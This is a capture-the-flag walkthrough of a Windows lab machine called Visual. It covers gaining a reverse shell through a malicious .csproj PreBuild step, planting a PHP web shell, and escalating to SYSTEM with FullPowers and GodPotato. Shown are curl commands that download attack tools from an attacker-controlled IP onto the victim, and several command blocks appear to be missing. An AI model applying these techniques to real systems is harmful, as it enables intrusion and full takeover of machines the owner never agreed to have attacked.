Visual¶
Windows machine
Foothold¶
Do not forget to update the /etc/hosts file.
Nmap scan:
User¶
Go to http://visual.htb -> server will compile any c# (dotnet 6) project from git.
We will exploit the .csproj file using the PreBuild xml tag:
Use powercat to generate payload (reverse shell):
Replace
We have to create a git server instance (since it cant access internet). We will use gogs:
docker pull gogs/gogs
mkdir -p /var/gogs
docker run --name=gogs -p 10022:22 -p 10880:3000 -v /var/gogs:/data gogs/gogs
Go to localhost:10880 and set up the git server instance.
Create a new user.
Push the project to the git instance.
Start a netcat listener:
Copy the git address to the visual.htb app and let it build for you, you should get a reverse shell.
The build is configured to run under the user, not www-data, so we get user privileges right away.
We get the user flag from C:\Users\
Root¶
Switch to powershell:
Get tasklist:
Now to get root we have to think how -> apache is running under root -> the server is run using xampp.
The Apache root folder is under C:/xampp/htdocs:
We just place a powny shell here using python http server on our attacker machine and curl on the victim:
Got to the shell page http://visual.htb/shell.php or something like that.
To get a better shell we curl from the php shell a nc.exe which is located at /usr/share/windows-resources/binaries/nc.exe.
Start a netcat listener at attacker:
Start a netcat from victim
Now we have a working shell we can switch to powershell again:
Check who we are ( use /priv for privileges only):
Now we are nt authority\local service. We have to do a local privesc to get more privileges. Examples here.
Use FullPowers to get more privileges.
Download binary from releases -> python http server -> download it to victim:
Check privileges:
We getTo exploit this, we can use one of the potatoes.
In this case we use the GodPotato.
Again, python server, download potato, we will also download/use again the nc.exe:
Tip
The *C:\Users\Public* path is writable by anyone I guess
curl http://10.10.14.69:8000/GodPotato-NET4.exe -o GodPotato-NET4.exe
curl http://10.10.14.69:8000/nc.exe -o nc.exe
Run a netcal listener on attacker:
Create a new shell using the godpotato with Administrator privileges:
Check privileges and account:
We are nt authority\system.
Get the root flag:
or